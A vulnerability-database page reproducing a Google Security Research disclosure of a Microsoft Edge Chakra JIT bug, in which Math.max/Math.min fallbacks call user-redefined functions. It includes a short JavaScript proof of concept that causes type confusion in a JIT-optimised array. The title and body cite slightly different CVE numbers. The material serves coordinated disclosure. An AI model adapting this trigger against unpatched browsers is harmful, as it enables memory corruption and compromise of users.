Lucene search
K

Microsoft Edge Chakra JIT Op_MaxInAnArray / Op_MinInAnArray Misuse

🗓️ 10 Jan 2018 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 62 Views

Microsoft Edge Chakra JIT Op_MaxInAnArray / Op_MinInAnArray Misuse CVE-2017-1189

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Edge Chakra JIT - Op_MaxInAnArray and Op_MinInAnArray can Explicitly call User-Defined Jav
9 Jan 201800:00
zdt
ATTACKERKB
CVE-2017-11886
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11905
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11914
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11909
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11908
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11894
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11890
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11930
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11895
12 Dec 201721:29
attackerkb
Rows per page
`Microsoft Edge: Chakra: JIT: Op_MaxInAnArray and Op_MinInAnArray can explicitly call user defined JavaScript functions   
  
CVE-2017-11893  
  
  
1. Call patterns like "Math.max.apply(Math, [1, 2, 3, 4, 5])" and "Math.max.apply(Math, arr)" can be optimized to directly call the method "JavascriptMath::MaxInAnArray" in the Inline Phase.  
2. The method takes the original method "Math.max" as the first parameter and the arguments object as the second parameter.  
3. If the arguments object can't be handled by the method, it explicitly calls the original method "Math.max".  
4. But it doesn't check if the property "Math.max" has changed, so a user defined JavaScript function can be called without updating "ImplicitCallFlags".  
  
Note: Math.min as well.  
  
PoC:  
function opt(arr, arr2) {  
arr[0] = 1.1;  
Math.max.apply(Math, arr2);  
arr[0] = 2.3023e-320;  
}  
  
function main() {  
let arr = [1.1, 2.2, 3.3, 4.4];  
for (let i = 0; i < 10000; i++) {  
opt(arr, [1, 2, 3, 4]);  
}  
  
Math.max = function () {  
arr[0] = {};  
};  
  
opt(arr, {}); // can't handle, calls Math.max  
print(arr[0]);  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation